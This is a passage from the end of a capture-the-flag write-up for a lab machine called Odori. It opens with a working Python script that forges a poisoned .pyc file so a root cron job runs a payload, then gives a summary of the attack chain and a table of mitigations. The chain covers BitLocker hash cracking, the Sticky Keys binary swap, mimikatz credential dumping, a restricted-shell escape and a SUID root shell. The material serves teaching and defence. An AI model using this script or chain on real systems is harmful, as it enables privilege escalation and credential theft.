    mtime, size = read_source_stat(args.source)
    print(f"[*] Source: {args.source}")
    print(f"    mtime = {mtime} ({mtime})")
    print(f"    size  = {size} bytes")

    py_text = build_module_source(args.payload, args.keep_func)

    with tempfile.TemporaryDirectory() as workdir:
        compiled_pyc = compile_module(py_text, mtime, workdir)
        print(f"[*] Compiled malicious module -> {compiled_pyc}")

        forged = patch_header(compiled_pyc, mtime, size)
        print("[*] Patched pyc header to match source (mtime, size)")

        if args.dry_run:
            print("[*] --dry-run set, not writing target pyc. Module source:\n")
            print(py_text)
            return

        target_dir = os.path.dirname(args.target_pyc)
        if not os.path.isdir(target_dir):
            sys.exit(f"[-] Target directory does not exist: {target_dir}")

        # Write to a temp file in the same directory, then os.replace() over
        # the target. This only needs write permission on the DIRECTORY
        # (unlink + relink), not the target file itself - so it works even
        # when root has recompiled the .pyc and we can no longer truncate it
        # in place. Same mechanism as `mv`.
        fd, tmp_path = tempfile.mkstemp(dir=target_dir, prefix=".poison-")
        try:
            with os.fdopen(fd, "wb") as f:
                f.write(forged)
            os.replace(tmp_path, args.target_pyc)
        except Exception:
            try:
                os.unlink(tmp_path)
            except OSError:
                pass
            raise

        print(f"[+] Wrote poisoned pyc -> {args.target_pyc}")
        print(
            "[+] Done. Wait for the privileged process to import this module "
            "again (cron tick, service restart, next invocation, etc.)."
        )


if __name__ == "__main__":
    main()
Enter fullscreen mode Exit fullscreen mode

8. Root Flag

rootbash-5.1# cd /root
rootbash-5.1# ls
root.txt  snap
rootbash-5.1# cat root.txt
REDACTED
Enter fullscreen mode Exit fullscreen mode

9. Attack Chain Summary

Odori
│
├─ Recon
│   ├─ Nmap: SSH (22), Samba (139/445) only - no web surface
│   ├─ SMB null session -> anonymous access to `backup` share
│   └─ info.txt -> hint: "download the .vmdk file"
│
├─ Offline Disk Analysis
│   ├─ Extract 7z -> file02.vmdk (19 GiB)
│   ├─ qemu-img info/check -> valid, standalone, monolithicSparse
│   └─ virt-filesystems / virt-ls -> Windows (EFI + MS Boot Manager), sda3 = BitLocker volume
│
├─ BitLocker Bypass
│   ├─ Boot VM -> BitLocker password prompt discovered
│   ├─ bitlocker2john -> hash extracted
│   └─ john + rockyou -> password cracked: 123456789
│
├─ Windows Access (SYSTEM)
│   ├─ Boot VM in VMware (host-only network) -> BitLocker unlock works, but no Windows creds
│   ├─ Boot to firmware -> installation ISO -> WinRE -> Command Prompt
│   ├─ diskpart -> unlock volume with manage-bde -unlock
│   ├─ Swap sethc.exe <-> cmd.exe (Sticky Keys)
│   └─ Reboot -> Shift x5 at logon -> SYSTEM cmd.exe
│
├─ Credential Access
│   ├─ mimikatz lsadump::sam -> NTLM hashes (Administrator, svc_backup)
│   │   └─ Pass-the-hash vs Samba -> Guest only (dead end)
│   └─ mimikatz vault::cred /patch -> cleartext scheduled-task password
│       └─ svc_backup : Napping2Curator
│
├─ Linux Shell Access
│   ├─ ssh svc_backup -> authenticates but hangs (ForceCommand)
│   ├─ sftp svc_backup -> works; sshd_config confirms Match group + ForceCommand /opt/restrict
│   ├─ Weaknesses: /opt/restrict writable, .ssh writable over SFTP
│   ├─ Upload SSH pubkey + overwrite /opt/restrict with `/bin/bash -i`
│   └─ ssh -i key svc_backup -> interactive shell (no sudo rights)
│
├─ User Flag
│   └─ Read via SFTP before the shell escape
│
├─ Privilege Escalation
│   ├─ Enumeration
│   │   ├─ SUID binaries all patched (pkexec etc.) - dead end
│   │   └─ pspy64 -> root cron: python3 /opt/archiver/app.py (every minute)
│   │
│   ├─ Attempt 1: tar argument injection - FAILED
│   │   └─ One tar process per file -> injected flags never land together
│   │
│   └─ Attempt 2: __pycache__ bytecode poisoning - SUCCESS
│       ├─ helper.cpython-310.pyc writable by svc_backup
│       ├─ Forge .pyc: module-level payload + header (mtime, size) matching real helper.py
│       ├─ Drop into /opt/archiver/__pycache__/
│       └─ Next cron tick -> payload runs as root -> SUID /tmp/rootbash
│
└─ Root Flag
    └─ /tmp/rootbash -p -> root shell -> cat /root/root.txt
Enter fullscreen mode Exit fullscreen mode

10. Mitigations

Weakness Fix
BitLocker protected by a weak, rockyou-crackable password (123456789) Enforce a strong passphrase or TPM-backed key policy; don't rely on a user password alone for at-rest encryption
Local Administrator/recovery access obtainable via WinRE + Sticky Keys binary swap Disable boot-to-WinRE/external-media recovery where not needed, or enforce BitLocker pre-boot authentication so the OS volume can't be mounted from an offline recovery shell at all; Secure Boot + a signed boot chain also blocks the sethc.exe swap
Cleartext scheduled-task password recoverable from Credential Manager via vault::cred /patch Avoid storing passwords for scheduled/service accounts in the Windows Credentials vault; use a gMSA, a Windows service account with no interactive logon, or a secrets manager instead
SMB backup share readable via anonymous/null session Disable SMB null sessions / guest access; require authentication on every share, even "informational" ones
ForceCommand /opt/restrict relied on for shell restriction, but the script itself and .ssh are writable by the restricted account Restricted shells must not be writable by the account they restrict; ship them root-owned and read-only (0755 root:root), and lock down ~/.ssh similarly or disable key-based auth for that account entirely
/opt/archiver/__pycache__ world-writable, with a .pyc owned by the low-privileged service account Never let an unprivileged account own or write into a privileged process's __pycache__; run python3 -B (or set PYTHONDONTWRITEBYTECODE=1) for privileged scripts, or ship pre-compiled bytecode owned by root with a root-only cache directory
app.py/helper.py run unsanitized filenames from a world-writable /backup directly into tar Don't pass user-controlled filenames straight into tar's argument list; use tar -- with validated/sanitized names, or call tarfile from Python instead of shelling out
Root cron job runs code out of a directory (/opt/archiver) with any component writable by a non-root account Principle of least privilege for cron/scheduled jobs: the entire execution path (script, imports, cache, working directory) should be root-owned and non-writable by the account that triggers or feeds it data

11. References

Top comments (0)